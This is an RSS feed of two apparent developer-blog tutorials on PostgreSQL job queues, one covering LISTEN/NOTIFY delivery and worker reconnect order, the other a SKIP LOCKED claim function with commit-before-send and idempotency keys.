<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss/styles.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>didof.dev Blog</title><description>Didof is a web-focused fullstack software engineer. He loves to share online what he learns and build exiting startups.</description><link>https://didof.dev/</link><item><title>How Postgres wakes a worker with LISTEN and NOTIFY</title><link>https://didof.dev/blog/listen-notify/</link><guid isPermaLink="true">https://didof.dev/blog/listen-notify/</guid><description>Use three database sessions to see when PostgreSQL delivers a notification, what two listeners receive, and how a worker recovers jobs on reconnect.</description><pubDate>Wed, 25 Nov 2026 22:41:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;;
import CodeSnippet from &quot;@/components/blog/code-snippet.astro&quot;;
import MdxImage from &quot;@/components/blog/mdx-image.astro&quot;;
import CodeWalkthrough from &quot;./code-walkthrough.astro&quot;;
import warehouseReady from &quot;./warehouse-ready.webp&quot;;
import warehouseNotified from &quot;./warehouse-notified.webp&quot;;
import warehouseOffline from &quot;./warehouse-offline.webp&quot;;
import { beforeWriterCommit } from &quot;./walkthrough-steps&quot;;
import schemaSql from &quot;./sql/schema.sql?raw&quot;;
import subscribeSql from &quot;./sql/subscribe.sql?raw&quot;;
import publishSql from &quot;./sql/publish.sql?raw&quot;;
import pendingSql from &quot;./sql/pending.sql?raw&quot;;
import publishJob103Sql from &quot;./sql/publish-job-103.sql?raw&quot;;
import reconnectSql from &quot;./sql/reconnect.sql?raw&quot;;
import readFirst from &quot;./read-first.mmd?raw&quot;;
import subscribeFirst from &quot;./subscribe-first.mmd?raw&quot;;
import readFirstSvg from &quot;./read-first.svg?raw&quot;;
import subscribeFirstSvg from &quot;./subscribe-first.svg?raw&quot;;&lt;/p&gt;
&lt;h2&gt;Too long, didn&apos;t read&lt;/h2&gt;
&lt;p&gt;Two boxes are ready for pickup. The app saves both jobs and runs &lt;code&gt;NOTIFY&lt;/code&gt; once. Both workers get that message when the app commits. You can try it in three Postgres sessions, then see why a worker should commit &lt;code&gt;LISTEN&lt;/code&gt; before its first read when it reconnects.&lt;/p&gt;
&lt;h2&gt;Two boxes, two drones&lt;/h2&gt;
&lt;p&gt;It&apos;s the end of a quiet shift. An operator scans two boxes at the dispatch bench, 101 and 102. Both drones are still on their docks. Each has a worker, a small program with its own database connection. The app puts one row in Postgres per box. How do the workers know when to check for those rows?&lt;/p&gt;
&lt;p&gt;&amp;lt;MdxImage
src={warehouseReady}
alt=&quot;An operator scans a parcel on a bench with two boxes. Both drones are docked with their status lights off.&quot;
title=&quot;The app creates one pickup job per box. Both workers are waiting.&quot;
/&amp;gt;&lt;/p&gt;
&lt;p&gt;The workers could run a query every few seconds, even when the bench is empty. With &lt;code&gt;LISTEN&lt;/code&gt;, a worker can subscribe to a named channel on its connection. The app can then use &lt;code&gt;NOTIFY&lt;/code&gt; to send a short message to that channel. The part worth trying is what happens when you leave the app&apos;s transaction open, right after it runs &lt;code&gt;NOTIFY&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Put the boxes in a table&lt;/h2&gt;
&lt;p&gt;&amp;lt;div id=&quot;1-give-the-workers-a-table-to-check&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;p className=&quot;hidden lg:block&quot;&amp;gt;&amp;lt;a href=&quot;#listen-notify-sql-toggle&quot; data-explorer-open&amp;gt;Open the SQL files&amp;lt;/a&amp;gt; to follow the code as you read.&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeWalkthrough /&amp;gt;&lt;/p&gt;
&lt;p&gt;If you have a running PostgreSQL server and permission to create a database, run &lt;code&gt;createdb listen_notify_lab&lt;/code&gt; in your shell. We&apos;ll use this scratch database throughout. Open three terminals and run &lt;code&gt;psql -X listen_notify_lab&lt;/code&gt; in each. That&apos;s PostgreSQL&apos;s command-line client, with &lt;code&gt;-X&lt;/code&gt; to skip your startup settings.&lt;/p&gt;
&lt;p&gt;Call the first terminal &lt;strong&gt;App&lt;/strong&gt;, the second &lt;strong&gt;Drone A&lt;/strong&gt;, and the third &lt;strong&gt;Drone B&lt;/strong&gt;. App writes the jobs. The drone terminals stand in for the two workers, each with its own connection. You can follow the query results below if you&apos;re reading without a database.&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;queue-schema&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;schema.sql&lt;/code&gt; once in App. We&apos;ll use the number on a box as the job identifier. Every box that arrives starts as a &lt;code&gt;pending&lt;/code&gt; job.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={schemaSql} lang=&quot;sql&quot; explorerStep=&quot;queue-schema&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;queue-read&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Switch to Drone A and run &lt;code&gt;pending.sql&lt;/code&gt;. It asks for the number of every box waiting for pickup. It should return zero rows. Keep the query handy because you&apos;ll run it again after App adds the boxes.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={pendingSql} lang=&quot;sql&quot; explorerStep=&quot;queue-read&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Tell both drones where to listen&lt;/h2&gt;
&lt;p&gt;&amp;lt;div id=&quot;2-put-both-drones-in-listening-mode&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;worker-listen&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;subscribe.sql&lt;/code&gt; in Drone A and Drone B. Both connections subscribe to the channel &lt;code&gt;pickup_ready&lt;/code&gt;. &lt;code&gt;BEGIN&lt;/code&gt; starts a transaction, and &lt;code&gt;COMMIT&lt;/code&gt; finishes it. The subscription takes effect at &lt;code&gt;COMMIT&lt;/code&gt;, so run all three lines in both terminals.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={subscribeSql} lang=&quot;sql&quot; explorerStep=&quot;worker-listen&quot; highlight={[2, 3]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;Leave both connections open with no transaction in progress. Later, when you run a query in &lt;code&gt;psql&lt;/code&gt;, it can print any waiting notifications alongside the query result. The recorded run used Psycopg, a Python client that can wait for a notification directly.&lt;/p&gt;
&lt;h2&gt;Try it with the transaction open&lt;/h2&gt;
&lt;p&gt;&amp;lt;div id=&quot;3-stop-just-before-the-writer-commits&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;writer-open&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Back in App, run these first four lines of &lt;code&gt;publish.sql&lt;/code&gt;. You&apos;ll insert both rows and call &lt;code&gt;NOTIFY&lt;/code&gt; once. The call passes a channel name and leaves the message body, called the payload, empty. The box numbers are in the table.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={beforeWriterCommit(publishSql)} lang=&quot;sql&quot; explorerStep=&quot;writer-open&quot; highlight={[4]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;Leave App&apos;s transaction open. Run &lt;code&gt;pending.sql&lt;/code&gt; in each drone terminal. Both still see zero rows, and neither gets a notification. App&apos;s changes are still inside its transaction.&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;writer-commit&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Now run &lt;code&gt;COMMIT;&lt;/code&gt; in App and repeat &lt;code&gt;pending.sql&lt;/code&gt; in both drone terminals. Look for two rows in the query output and an asynchronous notification for &lt;code&gt;pickup_ready&lt;/code&gt;. The query tells you what work is pending. The other line tells you the connection received a message.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;App&apos;s transaction&lt;/th&gt;
&lt;th&gt;What each drone can observe&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Open after &lt;code&gt;NOTIFY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Zero rows and no notification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Committed&lt;/td&gt;
&lt;td&gt;Jobs 101 and 102, plus one &lt;code&gt;pickup_ready&lt;/code&gt; notification&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In the recorded run on PostgreSQL 18.7, Drone A saw rows 101 and 102 after the commit. Both connections received one message with an empty payload.&lt;/p&gt;
&lt;p&gt;&amp;lt;MdxImage
src={warehouseNotified}
alt=&quot;Two drones face the viewer on their docks with both amber status lamps lit. The operator looks up from the same two boxes on the bench.&quot;
title=&quot;Both workers heard the same signal. The two boxes are still on the bench.&quot;
/&amp;gt;&lt;/p&gt;
&lt;p&gt;What if App changes its mind? Try it with box 104 and finish with &lt;code&gt;ROLLBACK&lt;/code&gt; to cancel the transaction.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet
code={&lt;code&gt;BEGIN; INSERT INTO pickup_jobs (id) VALUES (104); NOTIFY pickup_ready; ROLLBACK;&lt;/code&gt;}
lang=&quot;sql&quot;
highlight={[4]}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;pending.sql&lt;/code&gt; in both drone terminals again. Boxes 101 and 102 are still waiting. Box 104 never appears, and there is no new &lt;code&gt;pickup_ready&lt;/code&gt; message.&lt;/p&gt;
&lt;p&gt;If the listener is still in a transaction when a notification arrives, Postgres waits for that transaction to end before delivering it to the client. That&apos;s why we leave the drone terminals at their normal prompts between checks. &lt;a href=&quot;https://www.postgresql.org/docs/18/sql-notify.html&quot;&gt;PostgreSQL documentation on &lt;code&gt;NOTIFY&lt;/code&gt; delivery&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Both workers saw box 101 on the list. If they both dispatch a drone for the first row they read, we have two drones heading for the same box. A worker needs to claim the job before it sends a drone. &lt;a href=&quot;/blog/two-workers-one-job&quot;&gt;The first post builds that job claim&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What happens inside Postgres&lt;/h2&gt;
&lt;p&gt;When App runs &lt;code&gt;NOTIFY&lt;/code&gt;, the Postgres process handling that connection puts the notification on a private list for the current transaction. App can still roll back, in which case the process discards the entry. During commit, it adds the notification to a queue shared by the Postgres processes. Once the transaction has committed, it signals the listener processes so they can check that queue.&lt;/p&gt;
&lt;p&gt;The process handling Drone A keeps its own read position in that queue. The process handling Drone B has its own position, too. Both can read the same entry. Each checks whether the entry is for its database and a channel it listens to, then passes the matching message to its client. That&apos;s how one queue entry reached both terminals. The pickup jobs are in the table we created earlier. &lt;a href=&quot;https://github.com/postgres/postgres/blob/REL_18_7/src/backend/commands/async.c#L14-L110&quot;&gt;PostgreSQL 18.7 notification implementation&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What if a drone was offline?&lt;/h2&gt;
&lt;p&gt;&amp;lt;div id=&quot;4-restart-a-worker-while-the-warehouse-keeps-moving&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Now send Drone B home for the night. A box arrives just as Drone A loses its connection. The operator still scans the box, and App commits job 103. The worker has to subscribe again because Postgres removes a subscription when its session ends. In a separate run with an empty table at the start, the new connection received no notification for that commit. Its first query still found job 103. &lt;a href=&quot;https://www.postgresql.org/docs/18/sql-listen.html&quot;&gt;PostgreSQL documentation on session subscriptions&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;MdxImage
src={warehouseOffline}
alt=&quot;The operator leaves a single parcel on the dispatch bench beside an empty drone dock.&quot;
title=&quot;Box 103 is waiting when the worker comes back.&quot;
/&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;reconnect-write&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;The first read can pick up work that arrived during the outage. What happens if a new box arrives during startup itself, between the first read and the subscription? You can make that happen on purpose by choosing when to run App&apos;s transaction.&lt;/p&gt;
&lt;p&gt;Close both drone sessions with &lt;code&gt;\q&lt;/code&gt; and keep App open. Before each of the next two runs, clear the scratch table with &lt;code&gt;TRUNCATE pickup_jobs;&lt;/code&gt; in App and open a fresh Drone A session with &lt;code&gt;psql -X listen_notify_lab&lt;/code&gt;. The new connection starts without a subscription. In both runs, App uses this file to save box 103.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={publishJob103Sql} lang=&quot;sql&quot; explorerStep=&quot;reconnect-write&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;Read first&lt;/h3&gt;
&lt;p&gt;&amp;lt;div id=&quot;sql-read-first&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;pending.sql&lt;/code&gt; in Drone A. It sees an empty table. Run &lt;code&gt;publish-job-103.sql&lt;/code&gt; in App, then run &lt;code&gt;subscribe.sql&lt;/code&gt; in Drone A.&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;SELECT 1;&lt;/code&gt; in Drone A to give &lt;code&gt;psql&lt;/code&gt; a chance to show a notification. The query returns &lt;code&gt;1&lt;/code&gt; and there&apos;s no notification for 103. Check with &lt;code&gt;pending.sql&lt;/code&gt; in App and you&apos;ll find the box. Drone A checked too early and subscribed too late. Left waiting for another notification, it could miss this job until the next box comes in.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
chart={readFirst}
renderedSvg={readFirstSvg}
label=&quot;Read first. The drone reads an empty queue, the app commits job 103, and the drone starts listening too late to receive the signal.&quot;
/&amp;gt;&lt;/p&gt;
&lt;h3&gt;Subscribe first&lt;/h3&gt;
&lt;p&gt;&amp;lt;div id=&quot;sql-subscribe-first&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Close Drone A, clear the scratch table in App, and open a fresh Drone A session again. This time run &lt;code&gt;subscribe.sql&lt;/code&gt; in Drone A first and let its &lt;code&gt;COMMIT&lt;/code&gt; finish. Run the same &lt;code&gt;publish-job-103.sql&lt;/code&gt; in App, then run &lt;code&gt;pending.sql&lt;/code&gt; in Drone A. It receives &lt;code&gt;pickup_ready&lt;/code&gt; and finds box 103 on its first read.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
chart={subscribeFirst}
renderedSvg={subscribeFirstSvg}
label=&quot;Subscribe first. The drone commits LISTEN, then the app commits job 103. The drone receives the signal and its first read finds job 103.&quot;
/&amp;gt;&lt;/p&gt;
&lt;p&gt;This time the worker has two reasons to look at box 103. Its first read finds the row, and a notification also tells it to check the table. That&apos;s fine when each check uses the same job claim. The order PostgreSQL recommends is to commit &lt;code&gt;LISTEN&lt;/code&gt;, then inspect the database in a new transaction. &lt;a href=&quot;https://www.postgresql.org/docs/18/sql-listen.html&quot;&gt;PostgreSQL documentation on &lt;code&gt;LISTEN&lt;/code&gt; startup order&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Put that order in the worker&lt;/h2&gt;
&lt;p&gt;&amp;lt;div id=&quot;5-put-that-order-in-the-worker&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;worker-reconnect&quot; className=&quot;h-0 scroll-mt-32&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;On startup and after a disconnect, the worker connects, commits &lt;code&gt;LISTEN&lt;/code&gt;, and checks for pending work. In &lt;code&gt;reconnect.sql&lt;/code&gt;, the &lt;code&gt;COMMIT&lt;/code&gt; ends the subscription transaction. The query after it runs in a new transaction when you&apos;re in &lt;code&gt;psql&lt;/code&gt; with its default autocommit setting.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={reconnectSql} lang=&quot;sql&quot; explorerStep=&quot;worker-reconnect&quot; highlight={[2, 3, 5]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;In the worker, that check is a loop. Try to claim a job, do the work, and try again until the claim returns no row. Then wait for the next notification and run the same loop. Think back to boxes 101 and 102. App sent one message when it saved both. A worker that takes one job and goes straight back to sleep can leave the second box on the bench.&lt;/p&gt;
</content:encoded></item><item><title>Wait, you can put functions in Postgres?</title><link>https://didof.dev/blog/two-workers-one-job/</link><guid isPermaLink="true">https://didof.dev/blog/two-workers-one-job/</guid><description>Write a PostgreSQL function and call it with SELECT. Follow a job queue example to see what happens when two workers call it together.</description><pubDate>Wed, 25 Nov 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CodeSnippet from &quot;@/components/blog/code-snippet.astro&quot;;
import claimSql from &quot;./claim-next-job.sql?raw&quot;;
import workerCode from &quot;./worker.py?raw&quot;;
import claimOptions from &quot;./claim-next-job.snippet.json&quot;;
import workerOptions from &quot;./worker.snippet.json&quot;;
import readPending from &quot;./read-pending.sql?raw&quot;;
import readPendingOptions from &quot;./read-pending.snippet.json&quot;;
import sendExample from &quot;./send-example.py?raw&quot;;
import sendExampleOptions from &quot;./send-example.snippet.json&quot;;
import readOrClaim from &quot;./read-or-claim.sql?raw&quot;;
import readOrClaimOptions from &quot;./read-or-claim.snippet.json&quot;;&lt;/p&gt;
&lt;h2&gt;Too long, didn&apos;t read&lt;/h2&gt;
&lt;p&gt;You can define a function in Postgres and call it with &lt;code&gt;SELECT&lt;/code&gt;. Here&apos;s one that reserves the next job in a queue and returns its ID. You&apos;ll see how to write it, what happens when two workers call it at the same time, and why the worker waits for commit before sending an email.&lt;/p&gt;
&lt;h2&gt;There&apos;s only one job in the queue&lt;/h2&gt;
&lt;p&gt;Say a user forwards you two identical welcome emails. You check the signup and open the queue. There&apos;s one row for that email. Job &lt;code&gt;42&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The queue is a table called &lt;code&gt;queue_lab.jobs&lt;/code&gt;. Each row has an integer primary key, &lt;code&gt;id&lt;/code&gt;, and a text field, &lt;code&gt;status&lt;/code&gt;. This signup adds row &lt;code&gt;42&lt;/code&gt; with status &lt;code&gt;pending&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./mermaid-jobs-table.png&quot; alt=&quot;The queue_lab.jobs table starts with one row, id 42 and status pending.&quot; title=&quot;Starting state for both runs.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Two workers check that table. A worker is a background process that picks up a job and sends the email. Each worker has its own database connection, so they can both ask Postgres what work is waiting.&lt;/p&gt;
&lt;p&gt;Here&apos;s the query they ran against the one-row table.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={readPending} {...readPendingOptions} /&amp;gt;&lt;/p&gt;
&lt;p&gt;Both workers got &lt;code&gt;42 | pending&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Both answers were correct when the query ran. The first run ends with those two reads. If each worker sent the email it just found, one signup would get two copies.&lt;/p&gt;
&lt;h2&gt;Put the claim in Postgres&lt;/h2&gt;
&lt;p&gt;What the worker needs is a way to say, “Give me a job and reserve it for me.”&lt;/p&gt;
&lt;p&gt;You can put that operation in Postgres. A migration runs &lt;code&gt;CREATE FUNCTION&lt;/code&gt; after the table exists. Postgres stores the definition, and both workers can call it by name. They already know how to run a &lt;code&gt;SELECT&lt;/code&gt;. &lt;a href=&quot;https://www.postgresql.org/docs/18/xfunc-sql.html&quot;&gt;Postgres SQL functions&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./function-in-postgres.png&quot; alt=&quot;Both workers call claim_next_job() with SELECT. Inside Postgres, the function locks and updates a jobs row and returns job_id when it claims one.&quot; title=&quot;Both worker connections call the stored function.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={readOrClaim} {...readOrClaimOptions} /&amp;gt;&lt;/p&gt;
&lt;p&gt;That second &lt;code&gt;SELECT&lt;/code&gt; calls the function. It can read a row, lock it, change its status to &lt;code&gt;running&lt;/code&gt;, and return its ID. All in the worker&apos;s transaction.&lt;/p&gt;
&lt;p&gt;Now take the same queue with one pending job. Worker A calls the function and keeps its transaction open. B calls it too, while A holds the row lock.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./15-single-job-claims.png&quot; alt=&quot;Two separate runs start with job 42 pending. A plain SELECT returns 42 pending to both workers. In the claim run, A gets 42 and B gets zero rows while A holds the lock.&quot; title=&quot;Recorded results from two runs with the same starting queue.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the claim run, B needs a lock on the row. A already holds that lock, and there&apos;s nowhere else to look. That&apos;s where the zero comes from.&lt;/p&gt;
&lt;p&gt;So what if there &lt;em&gt;is&lt;/em&gt; another job waiting?&lt;/p&gt;
&lt;h2&gt;Job 42 still looks pending&lt;/h2&gt;
&lt;p&gt;The next run starts with two pending jobs, &lt;code&gt;42&lt;/code&gt; and &lt;code&gt;43&lt;/code&gt;. Both workers call the same function again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./overlapping-claims.png&quot; alt=&quot;With two pending jobs, A keeps 42 locked while B skips 42, claims 43, and commits.&quot; title=&quot;B commits while A still holds the lock.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;B has committed and A&apos;s transaction is still open. A third connection reads the table. What would you expect it to see for &lt;code&gt;42&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./10-observer-view.png&quot; alt=&quot;After B commits and while A is still open, the third connection sees 42 pending and 43 running.&quot; title=&quot;Recorded output at Read Committed.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;42&lt;/code&gt; still says &lt;code&gt;pending&lt;/code&gt;.&lt;/strong&gt; A has written &lt;code&gt;running&lt;/code&gt; inside its transaction. The third connection runs an ordinary &lt;code&gt;SELECT&lt;/code&gt; at Read Committed, the Postgres default. It sees the version of the row that was committed when its query began, which still says &lt;code&gt;pending&lt;/code&gt;. &lt;a href=&quot;https://www.postgresql.org/docs/18/transaction-iso.html#XACT-READ-COMMITTED&quot;&gt;Postgres Read Committed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;B&apos;s call needs the lock before it can change the row. A is still holding it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./04-visibility-and-lock.png&quot; alt=&quot;While A holds the lock on job 42, a plain SELECT sees 42 pending. B&apos;s call to the claim function skips 42.&quot; title=&quot;The same row, two operations.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;FOR UPDATE SKIP LOCKED&lt;/code&gt; is the line that lets B keep looking.&lt;/p&gt;
&lt;h2&gt;Follow 42 through the SQL&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CREATE FUNCTION&lt;/code&gt; gives the operation a name. The worker calls it with no arguments and gets a table with one column, &lt;code&gt;job_id&lt;/code&gt;. &lt;code&gt;LANGUAGE sql&lt;/code&gt; tells Postgres that the body between the &lt;code&gt;$$&lt;/code&gt; markers is SQL. &lt;a href=&quot;https://www.postgresql.org/docs/18/sql-createfunction.html&quot;&gt;CREATE FUNCTION&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The result depends on whether Postgres can lock a pending row.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./claim-result.png&quot; alt=&quot;If Postgres can lock a pending row, the function marks it running and returns its job ID. If it finds no lockable pending row, it returns zero rows.&quot; title=&quot;The two outcomes of the function call.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the SQL below, follow the row from the lock to the update and the returned ID.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={claimSql} {...claimOptions} /&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pick one pending job.&lt;/strong&gt; &lt;code&gt;FOR UPDATE&lt;/code&gt; locks the row the query picks. &lt;code&gt;SKIP LOCKED&lt;/code&gt; moves past rows another worker has locked. The search starts at the lowest ID and stops after one lockable job. That&apos;s how B got &lt;code&gt;43&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update the row you picked.&lt;/strong&gt; If &lt;code&gt;next_job&lt;/code&gt; contains &lt;code&gt;42&lt;/code&gt;, the &lt;code&gt;UPDATE&lt;/code&gt; matches that ID and changes its status to &lt;code&gt;running&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Return the ID you updated.&lt;/strong&gt; &lt;code&gt;RETURNING job.id&lt;/code&gt; reports the changed row. If every pending row is locked, there&apos;s nothing for the update to change and the call returns zero rows.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A zero-row result tells the caller that this attempt found no lockable job. It can still have work waiting behind a lock. In an always-on worker, schedule another attempt instead of treating that result as an empty queue forever.&lt;/p&gt;
&lt;p&gt;The function can return the ID while that transaction is still open. Postgres holds the lock until commit or rollback. That gap matters as soon as the worker wants to do something outside the database. &lt;a href=&quot;https://www.postgresql.org/docs/18/explicit-locking.html#LOCKING-ROWS&quot;&gt;Postgres row locks&lt;/a&gt; · &lt;a href=&quot;https://www.postgresql.org/docs/18/sql-select.html#SQL-FOR-UPDATE-SHARE&quot;&gt;SELECT locking clause&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;An ID comes back before the email goes out&lt;/h2&gt;
&lt;p&gt;Go back to the run with just job &lt;code&gt;42&lt;/code&gt;. A has the ID and its transaction is still open. B&apos;s first call returned zero rows. Now A rolls back.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./05-rollback.png&quot; alt=&quot;With one pending job, B gets zero rows while A holds the lock on 42. A rolls back. B then claims 42 and commits.&quot; title=&quot;Back to the original one-job run.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Postgres undoes A&apos;s change and releases the lock. B tries again, claims &lt;code&gt;42&lt;/code&gt;, and commits. A third connection can now see &lt;code&gt;42 | running&lt;/code&gt;. &lt;a href=&quot;https://www.postgresql.org/docs/18/sql-rollback.html&quot;&gt;ROLLBACK&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Both workers got &lt;code&gt;42&lt;/code&gt; at different points. If A had sent the email the instant it saw the ID, B could send another one after A&apos;s rollback. The send belongs after the claim commits.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./06-commit-boundary.png&quot; alt=&quot;Postgres returns 42 inside the Python with block. Psycopg commits on successful exit. The helper then returns 42 to the worker, which can send the email.&quot; title=&quot;The boundary is the successful exit from the connection context.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the Python helper below, Postgres gives &lt;code&gt;claim_one()&lt;/code&gt; the ID inside the &lt;code&gt;with&lt;/code&gt; block. Psycopg commits on a successful exit from that block. Only then does the helper hand the ID to the worker. If the query found nothing to claim, the caller gets &lt;code&gt;None&lt;/code&gt;. &lt;a href=&quot;https://www.psycopg.org/psycopg3/docs/basic/transactions.html&quot;&gt;Psycopg transactions&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={workerCode} {...workerOptions} /&amp;gt;&lt;/p&gt;
&lt;h2&gt;What if the provider already accepted the email?&lt;/h2&gt;
&lt;p&gt;Suppose B commits and sends the welcome email. The provider accepts the request. Just before B records that the job is done, the process crashes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./09-recovery.png&quot; alt=&quot;Illustrative sequence. The worker commits the claim for job 42. The mail provider accepts the send. The worker crashes before writing completion, so Postgres still shows 42 running.&quot; title=&quot;Read down the lanes. The worker crashes before it can send another update to Postgres.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The row still says &lt;code&gt;running&lt;/code&gt;. If a recovery process later puts it back to &lt;code&gt;pending&lt;/code&gt;, a new worker can claim it. Job &lt;code&gt;42&lt;/code&gt; is back in its hands. The question is whether the provider already accepted that email.&lt;/p&gt;
&lt;p&gt;This is where the provider can help. The worker sends an &lt;strong&gt;idempotency key&lt;/strong&gt; with the request. It&apos;s a label for this particular send, so the provider can recognize a repeat. Here, &lt;code&gt;send_welcome_email()&lt;/code&gt; is the call to the mail provider.&lt;/p&gt;
&lt;p&gt;&amp;lt;CodeSnippet code={sendExample} {...sendExampleOptions} /&amp;gt;&lt;/p&gt;
&lt;p&gt;Job &lt;code&gt;42&lt;/code&gt; gets the key &lt;code&gt;welcome-email:42&lt;/code&gt; on both attempts. If the provider still remembers that key and gets the same request, it can return the earlier result. The worker can record completion without sending the email again.&lt;/p&gt;
